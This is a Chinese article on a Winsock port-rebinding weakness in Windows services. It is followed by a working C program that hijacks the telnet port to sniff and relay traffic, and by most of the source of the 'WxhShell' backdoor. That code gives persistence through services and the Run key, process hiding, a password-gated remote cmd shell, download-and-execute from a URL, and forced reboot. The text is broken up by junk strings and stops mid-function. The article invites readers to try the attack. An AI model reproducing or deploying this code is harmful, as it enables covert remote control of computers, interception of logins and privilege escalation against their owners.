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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]e6$ ={ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &t:~e" 5< <N{Y*,^z saddr.sin_family = AF_INET; }?^]-`b d}Xb8SaE%c saddr.sin_addr.s_addr = htonl(INADDR_ANY); pc2;2^U_ -BcnJK0 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); q1pB~eg5 OEnCN 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 I/* ULR,
*BHp?cn;F2 这意味着什么?意味着可以进行如下的攻击: 08G${@D+X0 #Q` TH< 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 TpcJ1*t kX%vTl7F 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "</A)y& ;a 6Z=LB 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 t?wVh0gT 46U*70 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 @%BsQm QjOY1Xze 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 "7J38Ej\ bT15jNa 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >|aVGY w@WPp0mny 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Fv<3VKueK[ _N:GZLG #include 5Nl?Km~ #include <w3_EO #include !v.
<H]s) #include gH
yJ~ DWORD WINAPI ClientThread(LPVOID lpParam); [ji')PCAi; int main() kMZo7 y { x
Nb7VUV7 WORD wVersionRequested; qSt\ 6~ DWORD ret; L)c]i'WZ WSADATA wsaData; a66Ns7Rb BOOL val; _*ar\A` SOCKADDR_IN saddr; XhUVDmeUMb SOCKADDR_IN scaddr; f7/M _sx int err; OlP1Zd/l SOCKET s; q$PO.# SOCKET sc; -"rANP-UI int caddsize; ^hcK& HANDLE mt; '^`iF,rg DWORD tid;
&H[7UyC wVersionRequested = MAKEWORD( 2, 2 ); _Kbj?j err = WSAStartup( wVersionRequested, &wsaData ); qOv`&%txW if ( err != 0 ) { >XxHp printf("error!WSAStartup failed!\n"); @r=,:
'Mt return -1; o8Yq3N + } G
> t saddr.sin_family = AF_INET; WO6R04+WV qM<CBcON //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 m48Ab` a4n5i.; saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ibg~.>.u{ saddr.sin_port = htons(23); '61>.u:2 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L+~XW'P? { oqo7Ge2 printf("error!socket failed!\n"); jq%}=-%KE return -1; |w{C!Q8l } CB#B!;I8v val = TRUE; 45k.U $<| //SO_REUSEADDR选项就是可以实现端口重绑定的 <}T7;knO if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Yv.7-DHNl { Xl:.`{5L printf("error!setsockopt failed!\n"); A7 6HM@Q return -1; %aV~RB# } ~C>clkZ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; rv`GOta* //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 H@b4(6
//其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 nok-![ "'C5B>qO if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =;(L$:l~ { ~E/=nv$ ret=GetLastError(); -@ra~li,yQ printf("error!bind failed!\n"); ^7a@?|,q8 return -1; I^HwXp([ } $z`l{F4eMf listen(s,2); |*^}e54 while(1) N>CNgUyP { 7Ck3L6J# caddsize = sizeof(scaddr); ZQ>Q=eCs 1 //接受连接请求 X]o"4#CQIX sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); a?xZsR if(sc!=INVALID_SOCKET) P EMBh?)g { n5z|@I`S_ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); M2\c0^R if(mt==NULL) )7p(htCz5 { ^#IE
t# printf("Thread Creat Failed!\n"); Wt=\hixj- break; Z1Qv>@u } K>C@oE[W } DIfQ~O+u CloseHandle(mt); GG"6O_ } `:C2Cj
closesocket(s); Fy0sn| WSACleanup(); M|Nh(kvH return 0; 9kB R /{ } A!Tm[oqu DWORD WINAPI ClientThread(LPVOID lpParam) ;+.cD { c3 )jsf SOCKET ss = (SOCKET)lpParam; iXq*EZb"R SOCKET sc; *Q)-"]O(k unsigned char buf[4096]; %'X~9Pvi SOCKADDR_IN saddr; D)Ep!`Q
long num; )U7fPKQ DWORD val; 1wm`a DWORD ret; /='Q-`?9 //如果是隐藏端口应用的话,可以在此处加一些判断 hC9EL=
A //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ?z2! ? saddr.sin_family = AF_INET; {3.n!7+ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7t1as. saddr.sin_port = htons(23); 5E*Qqe if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (G/(w%#7_ { R>]7l!3^1 printf("error!socket failed!\n"); z~==7:Os return -1; )0DgFA6k_ } E-($Xc val = 100; T
"hjL if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wph8ln"C- { ;mRZ_^V; ret = GetLastError(); B"zB=Aw return -1; Xk/iyp/ } ~y?Nn8+&f if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #oR`_Dm)P { \XYidj ret = GetLastError(); g"k4Z return -1; 2r;h"> } a
9{:ot8, if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _aBy>=2c$ { u!&T}i: printf("error!socket connect failed!\n"); RRpY%-8M closesocket(sc); \yZVn6GVr closesocket(ss); hlZ{bO'f return -1; IC (:RtJ } D.Cn`O} while(1) jm@,Ihz=wI { ];"40 /X //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ecQ{ePoU //如果是嗅探内容的话,可以再此处进行内容分析和记录 r
d-yqdJ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 g{i= $xc num = recv(ss,buf,4096,0); P3n#s2o6y if(num>0) )<{u
oH send(sc,buf,num,0); .9WOTti else if(num==0) Kn<+Au_]L break; Z4c'1-lh num = recv(sc,buf,4096,0); /qMnIo
if(num>0) KeRC8mYp send(ss,buf,num,0); xm1' else if(num==0) K~2sX>l break; j*[P\Cm } /zb/am1# closesocket(ss); (z.n9lkfi closesocket(sc); ^)I}# return 0 ; G;iH.rCH } TET=>6
W$2\GPJt 2K{'F1"RM ========================================================== Kh[l};/F ~,E }^ 下边附上一个代码,,WXhSHELL SDV#p];u LMx/0 ========================================================== $v[mIR 3;VH'hh_ #include "stdafx.h" %p$XK(6 1G"ohosmF #include <stdio.h> *S"RU~1_ #include <string.h> dP(.l}O #include <windows.h> /d,u"_=l #include <winsock2.h> <7SE| #include <winsvc.h> I.G[|[. Do #include <urlmon.h> zi3v,Kq iETUBZ #pragma comment (lib, "Ws2_32.lib") X7AxI\h #pragma comment (lib, "urlmon.lib") WcoA)we M_Q`9 #define MAX_USER 100 // 最大客户端连接数 hczDu8 #define BUF_SOCK 200 // sock buffer P+CdqOL #define KEY_BUFF 255 // 输入 buffer }Hq3]LVE Ez"*',( #define REBOOT 0 // 重启 ZI;*X~h #define SHUTDOWN 1 // 关机 (,jsZ!sl l@*$C&E #define DEF_PORT 5000 // 监听端口 :"Otsb7 s]OZ+^Z #define REG_LEN 16 // 注册表键长度 rks"y&&Nc #define SVC_LEN 80 // NT服务名长度 (H&HSs y<w_>O // 从dll定义API uR{)%udu typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); VFx[{Hy typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); li
v=q typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?bt;i>O\ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yn$1nt4 iE
HWD.u // wxhshell配置信息 xw_klHL-o struct WSCFG { pe0ax-Zv int ws_port; // 监听端口 }/&Zo=Q$ char ws_passstr[REG_LEN]; // 口令 :$k1I-^R int ws_autoins; // 安装标记, 1=yes 0=no ]'[:QGr char ws_regname[REG_LEN]; // 注册表键名 Sn4xv2/ char ws_svcname[REG_LEN]; // 服务名 Knqv|jJVx1 char ws_svcdisp[SVC_LEN]; // 服务显示名 - _8-i1? char ws_svcdesc[SVC_LEN]; // 服务描述信息 *?d\Zcj85[ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 iu(obmh/o int ws_downexe; // 下载执行标记, 1=yes 0=no >r7PK45.K char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ?d%{- char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =X^a E;{CoL }; |h6!b t!= vs[!B- // default Wxhshell configuration D
(8Z90 struct WSCFG wscfg={DEF_PORT, 4'*-[TKC "xuhuanlingzhe", 3<+ZA-2 1, V 0Oqq0\ "Wxhshell", }BU%<5CQ "Wxhshell", 6vAZLNG3 "WxhShell Service", X/cb1# "Wrsky Windows CmdShell Service", BJb, "Please Input Your Password: ", !reOYt| 1, =pi,]m " http://www.wrsky.com/wxhshell.exe", Uq_lT, "Wxhshell.exe" iKV|~7nwO }; YVa,?&i=N Zv!XNc!"$y // 消息定义模块 ;`LG WT-<F char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,$/Ld76U char *msg_ws_prompt="\n\r? for help\n\r#>"; ?%$O7_ThvA char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; +aL char *msg_ws_ext="\n\rExit."; ;22?-F^ char *msg_ws_end="\n\rQuit."; 3IQI={:k|D char *msg_ws_boot="\n\rReboot..."; }xt^}:D char *msg_ws_poff="\n\rShutdown..."; ?!U.o1 char *msg_ws_down="\n\rSave to "; s|A[HQUtJ e+-#/i* char *msg_ws_err="\n\rErr!"; 6q8}8;STTY char *msg_ws_ok="\n\rOK!"; W)bSLD f3G:J<cL char ExeFile[MAX_PATH]; BKtb@o~( int nUser = 0; Z8FgxR HANDLE handles[MAX_USER]; <!FcQVH+L int OsIsNt; ]s0wJD= ZCj1Cz]"l< SERVICE_STATUS serviceStatus; SyI~iW#Y1 SERVICE_STATUS_HANDLE hServiceStatusHandle; Qt{){uE mY/"rm // 函数声明 Q"~%T@e int Install(void); 8Cp@k= int Uninstall(void); Z\`SDC int DownloadFile(char *sURL, SOCKET wsh); O2ktqAWx@ int Boot(int flag); >I5Wf/$ void HideProc(void); J-'XT_k:iM int GetOsVer(void); J/K~8sc int Wxhshell(SOCKET wsl); Q"u2< void TalkWithClient(void *cs); &.DRAD) int CmdShell(SOCKET sock); 7r'_p$ int StartFromService(void); rf|Nu3AJ int StartWxhshell(LPSTR lpCmdLine); VFZ?<m ,M?8s2? VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9%|skTgIqH VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^
'|y^t 'A.5T%n- // 数据结构和表定义 (>A#|N1U SERVICE_TABLE_ENTRY DispatchTable[] = [(_,\:L${ { ,)*[Xa_n {wscfg.ws_svcname, NTServiceMain}, aWJ
BYw6{L {NULL, NULL} PkyX,mr#1 }; c}n66qJF5 OYt_i'Q // 自我安装 KCbJ^Rln int Install(void) >'q]ypA1
{ L-E?1qhP> char svExeFile[MAX_PATH]; Z3c\}HLY HKEY key; _[z)%`kay strcpy(svExeFile,ExeFile); ~K #92 R,78}7B // 如果是win9x系统,修改注册表设为自启动 qOy(dG g if(!OsIsNt) { [zN*P$U] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { us?q^>u RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); //|B?4kk RegCloseKey(key); ElpZzGj+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x3FB`3y~s RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2IW!EUR RegCloseKey(key); pXl qE, return 0; TA/hj>rV } ^j${#Q } Cq/u$G } mMXDzAllB else { _;5zA"~c#@ q?mpvpLG // 如果是NT以上系统,安装为系统服务 eq%cRd]u SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xS%&l)dT if (schSCManager!=0) Io JI|lP { O>hh SC_HANDLE schService = CreateService 0lniu=xmQ- ( 8g)$%Fy+N schSCManager, C}<e3BXc wscfg.ws_svcname, D=z="p\ wscfg.ws_svcdisp, ]!sCWR SERVICE_ALL_ACCESS, $mKExW SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]!^wB 3j SERVICE_AUTO_START, "@^<~bw SERVICE_ERROR_NORMAL, -Q J8\/1> svExeFile, NY<qoV NULL, ktynIN NULL, ca3zY|Oo NULL, h>*3i# NULL, ob/<;SrU< NULL @.a59kP8X ); mD% qDKI if (schService!=0) C.#Ha-@uz { ]?T^tJ CloseServiceHandle(schService); Hpz1Iy@ CloseServiceHandle(schSCManager); ZG1TRF " strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6l2O>V strcat(svExeFile,wscfg.ws_svcname); QQN6\(;- if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Wd!Z`,R RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $PRd'YdL/ RegCloseKey(key); k=kkF" return 0; =s*c(> } )K]p^lO } J5jI/P CloseServiceHandle(schSCManager); 6p&2A } ( z)#}TC } @8m%*pBg =to.Oa RR return 1; eQ)*jeD } U_'M9g{,< OhN2FkxL // 自我卸载 $v2t6wS," int Uninstall(void) f
]_ki { PE6,9i0ee HKEY key; /^jl||'H,: :oW 16m1` if(!OsIsNt) { EX!`Zejf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xbw;s}B RegDeleteValue(key,wscfg.ws_regname); u@:[ dbJ RegCloseKey(key); K@2"n|
S; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z-4/xi7 RegDeleteValue(key,wscfg.ws_regname); zmD7]?| RegCloseKey(key); t+F_/_"B return 0; N.Q}.(N0 } seAPVzWUU } #+_=(J } iuXXFuh else { T zS?WYF }BT0dKx SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0/|Ax-dK if (schSCManager!=0) sl@>GbnS { qhTVsZ:{C SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XABP}|aWK if (schService!=0) TYR \K { wBw(T1VN if(DeleteService(schService)!=0) { Iy;"ht6 CloseServiceHandle(schService); PU%f`) CloseServiceHandle(schSCManager); jHE^d<=O^ return 0; z#`Qfvu6Hi } tUOY`]0 CloseServiceHandle(schService); Nc[N 11?O } t OJyj49^a CloseServiceHandle(schSCManager); %ueD3;V } }.8yKj^p } +Tx_q1/f5X `ItoL7bi return 1; kzK9. } m##!sF^k~J KrG,T5 // 从指定url下载文件 NhTJB7 int DownloadFile(char *sURL, SOCKET wsh) >iG3!Td)y { -@]b7J?`k HRESULT hr; 6!itr" char seps[]= "/"; ]LxE#R5V char *token; Ja&S_'P[ char *file; &M3KJ I0L char myURL[MAX_PATH]; yDZm)|<. char myFILE[MAX_PATH]; 4bw4!z9G nJYIkfdA strcpy(myURL,sURL); IaOR%Bg token=strtok(myURL,seps); EBL-+%J8 while(token!=NULL) ^ZS!1%1 { @x!+_z file=token; ,H.5TQ# token=strtok(NULL,seps); h0dZr-c } -(lP8Y~gFY kmu`sk" GetCurrentDirectory(MAX_PATH,myFILE); 9I<~t@q5e@ strcat(myFILE, "\\"); }!Pty25j strcat(myFILE, file); umnQ$y
0 send(wsh,myFILE,strlen(myFILE),0); =w`uZ;l$Q send(wsh,"...",3,0); w 2U302TZ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n`w]? bL if(hr==S_OK) Pe\Obd8d return 0; 2T?Y else A*/8j\{n return 1; LxWd_B c1a$J` } a-FI`Dv -nHkO&&R // 系统电源模块 gzKMGL?%? int Boot(int flag) :O&jm.2m { [iO8R-N8d HANDLE hToken; eGpKoq7a TOKEN_PRIVILEGES tkp; #+U1QOsz 1$C?+H if(OsIsNt) { zv/dj04> OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?fC9)s LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d8 Jf3Mo tkp.PrivilegeCount = 1; Wuk8&P3 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0m> 8 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]i0=3H2 if(flag==REBOOT) { U~?mW,iRL if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6=,zkU*i^ return 0; zd!%7
UP } xb0,dZb else { #%E^cGfY if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
!j% return 0; (=c,b9cb } 3pW4Ul@e } "zXrfn else { ;;Z'd@ if(flag==REBOOT) { @+p(% if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
f.aa@> return 0; 6`7bk35B } ]63!
Wc else { IDos4nM27] if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $$o( return 0; oq$#wiV"Q } 2.MUQ;OX } +%K~ vV9vB3K5? return 1; EH M 59s|B } }#4Ek8nFR cjg~?R // win9x进程隐藏模块 P,-5af*; void HideProc(void) 8>x'. 8 { L1g0Dd\Ox bE2O[B HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R'>@ja* if ( hKernel != NULL ) \SO)|M>. a { 6~W@$SP,F pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~@-r ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ybFxz FreeLibrary(hKernel); ~$[fG}C.K } q^zG+FN -D=Sj@G return; kRX?o'U~C } GGcODjY> 8{i}^.p // 获取操作系统版本 ?r8hl.Z> int GetOsVer(void) X?< L<:. { Qyx~={.C~ OSVERSIONINFO winfo; @b^$h:H winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4L{]!dox GetVersionEx(&winfo); > 3(,s^ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gg%)#0Zi return 1; ^_P?EJ,)` else Qf~$9?z return 0; z;<~j=lP } &Q}%b7 U\j g X // 客户端句柄模块 u1#(~[.
int Wxhshell(SOCKET wsl) ?(K=du { y6[ le*T SOCKET wsh; ]plp.f#av struct sockaddr_in client; +s8R]3NJ_H DWORD myID; 9"gu> "gm5DE while(nUser<MAX_USER) q6nRk~ { W,CAg7:* int nSize=sizeof(client); HKT, 5 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5n}<V-yJ*m if(wsh==INVALID_SOCKET) return 1; l,l6j";ohd AgSAjBP handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Gs3V]qbEP if(handles[nUser]==0) Ny$3$5/ closesocket(wsh); qT5"r488 else I{[Z
nUser++; p?ccBq } .o/uA WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,3f>-mP
a*.#Zgy:lK return 0; Khc^q*|C) } gSw<C+ zixG}' // 关闭 socket KT<$E!@ void CloseIt(SOCKET wsh) h{ix$Xn~ { '&Y_,-i closesocket(wsh); Fc \]* nUser--; FE,mUpHIR ExitThread(0); ?jlz:Z4 } OM\1TD/- S-gO // 客户端请求句柄 {dpDQP +! void TalkWithClient(void *cs) sHk>ek]2I { P3|s}& h
ka_Fo SOCKET wsh=(SOCKET)cs; a <?~1pWtc char pwd[SVC_LEN]; &b5(Su char cmd[KEY_BUFF]; 0^o/cSF char chr[1]; jED.0,+K! int i,j; ;e5PoLc T~Bj],k_ while (nUser < MAX_USER) { u4SL:IH{D EUcD[Rv if(wscfg.ws_passstr) { BPt? 3tC if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1Pw1TO"Z
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VlA]A,P}i //ZeroMemory(pwd,KEY_BUFF); ;zD4#7= i=0; }a~hd*-# while(i<SVC_LEN) { 'gs P9 ~).D\Q\ // 设置超时 Q35\wQ# fd_set FdRead; p2t04p! struct timeval TimeOut; H2Wlgt FD_ZERO(&FdRead); 8^j~uH FD_SET(wsh,&FdRead); j+ -r(lZ TimeOut.tv_sec=8; J({D~ TimeOut.tv_usec=0; EXVZ?NG int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); eU%49 A if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _Wg}#r 4^2>KC_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q9O_>mZy pwd =chr[0]; lm;hW&O9 if(chr[0]==0xd || chr[0]==0xa) { !.mR]El{K pwd=0; 4l%W]' break; Hh=fv~X } |> ]@w\] i++; @g5y_G{SP } -W('^v_* *qO)MpG{ // 如果是非法用户,关闭 socket 0,ryy,2 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mWaij]1> } )< G(C,!,. ?=&S?p)-< send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vFR*3$R send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9N9&y^SmD fuUtM_11 while(1) { .4WJk>g T*C25l;w ZeroMemory(cmd,KEY_BUFF); 4y7_P0}:B -]zb3P // 自动支持客户端 telnet标准 nD*iSb* j=0; P%e7c, while(j<KEY_BUFF) { = N*Jis if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vQi=13Pw cmd[j]=chr[0]; PZ8,E{V if(chr[0]==0xa || chr[0]==0xd) { LPt9+sauf1 cmd[j]=0; 1;=L]
L? break; ; o_0~l=-/ } Hm'"I!jyO j++; %w65)BFQ } L@(. i nI6ompTX // 下载文件 !mUJ["# if(strstr(cmd,"http://")) { e~lFjr] send(wsh,msg_ws_down,strlen(msg_ws_down),0); }BlyEcw'aN if(DownloadFile(cmd,wsh)) r4*H96l send(wsh,msg_ws_err,strlen(msg_ws_err),0); `K.B` else !X-\;3kC0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C'$}{%Cc@$ } 'A:Y&w"r else { :\"0jQ.y| )f:i4.M switch(cmd[0]) { 2\1+M) '|ntwK*f // 帮助 nahq O|~ case '?': { lgU!D |v send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BVb^ xL break; LsERcjwwK } ^ l]!'" // 安装 o( zez case 'i': { *FC8=U2\X if(Install()) C
6
\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); C][hH?. else Y%"$v0D send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bOr11? break; a`w=0]1&* } 6J,h}S // 卸载 apa&'%7 case 'r': { :Pdh##k if(Uninstall()) I8J>>H'#A send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2w7$"N else 3O$l;|SX send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `Uz.9_6 break; ~3:hed7: } YTefEG]|q // 显示 wxhshell 所在路径 NzQvciJ@" case 'p': { }?Y -I>
w char svExeFile[MAX_PATH]; iptA#<Yj strcpy(svExeFile,"\n\r"); L!Y|`P#Yr strcat(svExeFile,ExeFile); Ln,<|,fZN send(wsh,svExeFile,strlen(svExeFile),0); X^eyrqv break; Ljz)%y[s } 2T2<I/")O // 重启 !FP ] case 'b': { (v/L send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,Lp"Ia if(Boot(REBOOT)) }VJ>}i* send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,g7O else { hTLf$_|P closesocket(wsh); yg}O9!M J ExitThread(0); z]8Mv(eL } s|<n7 =J break; Q;3`T7 } fW2NYQP$: // 关机 > "F-1{ case 'd': { g3kbsi7_: send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Gpxp8[ { if(Boot(SHUTDOWN)) U!|)M send(wsh,msg_ws_err,strlen(msg_ws_err),0); lot`6] else { @
,X/Wf closesocket(wsh); RG45S0Ygj ExitThread(0); lF(v<drkB } }XBF#BN break; Qt4mg?X/ } qWr=Oiu // 获取shell _)5E= case 's': { ?fy37m(M} CmdShell(wsh); md{nHX& closesocket(wsh); K@1gK<,a ExitThread(0); S&UP;oc break; _oc6=Z } q&@s/k // 退出 SzpUCr" case 'x': { n^[a}DX0 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V"4L=[le CloseIt(wsh); }V]b4t break; rwj+N%N } >WLX5i& // 离开 NHyUHFY case 'q': { y60aJ)rAX send(wsh,msg_ws_end,strlen(msg_ws_end),0); j%'2^C8 closesocket(wsh); a+LK~mC* WSACleanup(); G$Mf(S'f exit(1); (k!7`<k!Y break; tdRvg7v,N% } L3I$ K+c } F*U(Wl= } }b54O\, OlyW/hd // 提示信息 Q9OCf"n $ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B`eK_'7t } UeFJ5n'x: } &l2xh~L ?X|q return; {ax]t-ZwJ5 } Rf4K Rhi Fvk=6$d2 // shell模块句柄 %|H]T]s int CmdShell(SOCKET sock) }w4OCN\1
{ )=GPhC/sw STARTUPINFO si; #^VZJ:2=| ZeroMemory(&si,sizeof(si)); K.QSt si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zl8M<z1`1 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i=<;$+tW PROCESS_INFORMATION ProcessInfo; cu>(;= char cmdline[]="cmd"; }6a}8EyFP CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bEcN_7 return 0; =!SV;^-q } 1]''@oh{6U Ld.9.d] // 自身启动模式 nQV0I"f]?] int StartFromService(void) $#f_p-N { u4FD}nV typedef struct 6ZE`'pk< { =At" Q6-O DWORD ExitStatus; %R?7u'=~ DWORD PebBaseAddress; QErdjjgE DWORD AffinityMask; )lLeL#]FLO DWORD BasePriority; c6i7f:'-0 ULONG UniqueProcessId; v*Gd=\88 ULONG InheritedFromUniqueProcessId; {K+f&75 } PROCESS_BASIC_INFORMATION; %]7 6u7b/ 0#TL$?=| PROCNTQSIP NtQueryInformationProcess; sTP\} L~/,;PHN static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f$:Y'$Z1 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lv/im/]v l9uocP:D HANDLE hProcess; j17h_ a; PROCESS_BASIC_INFORMATION pbi; vW eg1 =cV|o] HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mmJnE if(NULL == hInst ) return 0; %2dzx[s u3qxG3 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `,SL\\%u g_pGetModuleBaseName = 